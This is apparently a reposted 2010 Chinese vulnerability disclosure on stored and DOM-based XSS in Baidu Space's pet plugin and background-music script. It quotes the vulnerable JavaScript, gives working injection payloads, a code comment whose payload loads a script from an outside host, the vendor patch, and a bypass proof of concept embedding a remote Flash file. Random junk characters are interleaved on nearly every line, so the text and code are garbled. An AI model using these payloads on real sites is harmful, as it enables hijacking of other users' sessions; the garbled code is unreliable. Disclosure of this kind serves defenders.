百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
H1 s, x. B5 r: ]" Y8 C
; m+ W6 G( F' G1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. / u4 |% k2 m l! |" g' O# m6 [
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
5 C- C$ J4 s6 R- M3 {$ v. J- j- |
! U* T' }/ d* Z) d; ?" B+ @将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
. b3 T1 R R9 l: R5 u其中BdUtil.insertWBR为 4 X& K c8 J8 S% k( q# U* |0 E
function(text, step) {
' J3 b! F3 `5 c6 u% g var textarea = textAreaCache || getContainer();
+ H2 ^$ S8 O1 {7 f& r if (!textarea) { ) @% x2 n2 Q: N$ X& ^. { @
return text; 4 H2 ~; E! @0 S+ t
}
5 p4 ~3 ]. B# E$ ?0 H textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
: G0 q' d2 |& g8 c) [ var string = textarea.value; : l G- P2 ~( y: {' }
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 6 \$ j" V6 \; l% Z8 o
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
5 h' S4 e! E5 o, K return result;
3 {% v( n$ E0 h1 T8 D! u}
4 E# X* Y1 \( L( ]在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
1 e! g/ O, s/ H8 _3 R; u% ~& z测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> - F3 j2 Y( x. q) o7 Y( @0 V! J
3 _& f( O% C' a" O, v
二:creatbgmusic() Dom-Xss Bug * s+ c' c" e3 r/ g
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 * \' W( `- q% ^; n5 H
( X4 P/ l( V5 x" I+ K! i
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
6 A8 M/ T1 G% z$ S/ ^5 n7 o. A0 D* o$ h
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ! P7 `1 t6 D2 p4 k: M, z
//传入的murl赋值到bgmusic1和bgmusic2中
3 H( U5 [9 O; E2 A //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
% h# [! P+ D4 x O var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; - o0 ~" M' R; u/ F
if (musicnum <= 1) { $ G) ^$ x$ p+ G6 \
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
$ w* q' a& L( F0 C4 @- I3 Y } ! _3 E* C" l. k3 Q& V( ^/ u) `6 ]
bgmusic1 += "</OBJECT>";
$ y" K0 g8 d: J var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ; } p K- _# s
if (musicnum <= 1) { 8 o6 z- ~+ w! N& P& K& ]8 ^# `0 S7 |1 B
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ( I6 t/ X" m) i, e5 V/ a3 L A
} & v1 A+ Z9 j5 ?, U2 _
bgmusic2 += "> </EMBED>"; % Q/ I& ~9 D; T
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
p6 o6 `: ?8 ^8 u4 R- {) q var bgmus = detectWMP(); : Q* ]6 U' k& P0 |# j0 ~" I+ |
if (functype == "FckMusicHelper") {
& L( ~8 T* }) k: p( R if (bgmus.installed) {
3 D6 ^" F# ^% Q f2 W if (bgmus.type == "IE") {
# m1 D8 t8 b( g4 j1 M4 P& p$ t4 f return bgmusic1;
. u8 u! {) E' J& _ } else if (bgmus.type == "NS") { ! @% z0 ]5 ~' C. C6 c' b
return bgmusic2;
1 v3 Z- ?- d. ` S) Y4 \' Z }
' O# Q6 T8 N, W; C$ S; Q } else { 8 t9 G1 j( n* P5 N1 ^/ x
return bgmusic3;
& s8 ^: f) R [' m0 @ } " _) Y2 [# t1 r# A" Y' L- U
} else { ) Z$ @. m3 \# Y. n/ s3 U& A
if (bgmus.installed) { 1 }& } e6 y b& e2 D
//document.write 直接输出bgmusic变量 导致xss
/ G2 S- z# [3 D: O' V- s l# c if (bgmus.type == "IE") {
% d1 |4 I; P) z8 L3 x document.write(bgmusic1); 3 Q3 E0 {, i7 o7 F7 I
} else if (bgmus.type == "NS") {
6 z% z- k1 K9 ? document.write(bgmusic2); & P0 q: ?# P9 ]9 B
}
0 M9 I- R- y4 ?" y$ M+ O" ]- ` } else { 3 h$ Q" J6 Y x% n* \. T
document.write(bgmusic3); & A! S3 v; C3 ~
} " y! H+ K3 D; P) Y8 @& {: H) }
return "";
6 \, k9 {. P/ h( |+ E3 M } " y. H6 ] F. ?: v
} 9 y9 ]+ m" r' H# a% C5 O+ d
8 r5 S; S; s$ l0 L在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
/ w8 R7 T; W! ^/ `1 c7 \8 S& I- `( A( ]) I
function initBlogTextForFCK(){
}) s; S9 o+ [. Y' x//fck init music
4 ]4 Y' b. S/ H. iif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
/ W5 _, @7 t& m+ N3 z+ E7 @var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
0 \( g/ m* {/ z9 Svar isAutoPlay=true; " C/ r4 w P9 s, S8 H8 o
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
0 y5 e* m. ^7 M9 _ L var img=imgBox;
2 {2 n6 W; n7 n8 ~& x$ u if(img.getAttribute(’rel’)){ " w' m; g6 i7 r8 k
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
' ~8 m3 N8 Y7 J n var musicDiv = document.createElement("SPAN"); ) ]! c) b' F; v4 e' B
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
5 v: p. R5 i C* R2 v ! o9 ]' I- Y2 ]) u
.......................... 0 ^0 V- k8 A. _1 |2 j
4 I9 h( F7 Y( E* W% P* P! j //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. . K5 L6 S* E$ V, @& P: S* p: \, e8 p
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ j' w+ y) v) c4 u4 _! [3 k shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); / e( V0 n+ {- z
musicDiv.innerHTML=shtml;
* p! C; a) [4 P4 `# v i--;n--; - }6 c- g* x: N1 C2 t' m
} 7 A. O6 f2 ]7 \; k4 c! u6 ^: K
} # y3 d: s; T) M+ p
3 H7 [6 M: D1 h$ ]& X从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
+ V' G9 @% R' _/ r7 V* o3 ]
! P1 c) N8 t _$ d测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> : ?1 A2 \( H% U
" G/ k3 L% D8 G等待官方补丁
% E' Z0 M% A8 t* z: |5 {- U% U% T: v! k6 M7 e/ M5 W
update 2010年5月13日 ! J) J- o' c( A$ K5 D& _8 C- J
8 u& z$ y# X% Z: v; F
官方补丁:
" L" E9 L( B' h d0 A( Q9 r ~
3 m9 n" `6 r$ {& G( Zvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
8 G( S' B9 U( X改为: ( F8 \" Z: p2 a5 I
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
2 `: s$ h* P* P3 b t+ W! u
6 i! C1 ]8 ?" n/ fupdate 2010年5月13日 21:50:37
7 C- y3 e: m3 ~* T+ C& d
/ B+ X1 O8 C" e; L- v7 P/ a补丁存在漏洞 没有过滤" 可以继续跨:
" h3 R) E9 _6 y- X" }7 [$ s' s! X
NEW POC:
8 Q' y. J" H) O- x7 j
7 z! u6 K0 w" z<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
0 |4 n. l7 b8 Q. }( s$ W9 h
7 k- I; ^: Q, h) z c% d1 {allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/># Z9 {' m' \& f
) ^1 c1 d& \/ b9 [) Z |